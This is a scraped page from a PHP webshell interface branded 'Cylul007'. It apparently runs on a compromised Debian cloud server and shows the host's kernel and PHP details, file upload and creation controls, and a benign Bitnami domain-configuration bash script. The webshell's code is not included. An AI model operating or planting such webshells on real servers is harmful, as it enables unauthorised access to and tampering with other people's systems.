Cylul007 Webshell
Uname
:
Linux ip-172-31-85-249 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
PHP
:
7.4.16
on
fpm-fcgi
Time
:
27 Dec 2024 20:22:33
Path :
/
opt
/
bitnami
/
File Upload :
New File
New Folder
Current File : /opt/bitnami/configure_app_domain
Download
HOME
#!/bin/bash . /opt/bitnami/scripts/init/functions if [[ "$(id -u)" -ne "0" ]]; then echo "This script must be run as a superuser" exit 1 fi # Help menu display_help() { echo "Usage: $0 [arguments...]" echo echo "Options:" echo " -h, --help show help menu" echo " --domain arg configure application domain and exit" echo " --enable-automatic-configuration enable automatic IP configuration" echo " --disable-automatic-configuration disable automatic IP configuration" } # Default options domain="" disable_automatic_updates=true if [[ "$#" -eq 0 ]]; then echo "No arguments were specified" display_help exit 1 fi # Parse CLI arguments while [[ "$#" -gt 0 ]]; do case "$1" in --domain) shift domain="${1:?missing domain value}" ;; --disable-automatic-configuration) disable_automatic_updates=true ;; --enable-automatic-configuration) disable_automatic_updates=false ;; -h|--help) display_help exit ;; *) echo "Unknown parameter $1" display_help exit 1 esac shift done if "$disable_automatic_updates"; then # Configuring a domain will always disable automatic domain configuration when the IP address changes if [[ -n "$domain" ]]; then echo "Configuring domain to ${domain}" set_stored_data machine_hostname "$domain" set_stored_data disable_automatic_ip_updates "false" /opt/bitnami/scripts/init/update_ip fi echo "Disabling automatic domain update for IP address changes" else echo "Enabling automatic domain update for IP address changes" fi set_stored_data disable_automatic_ip_updates "$disable_automatic_updates"
Copyright © 2018 - Powered By CytoXploit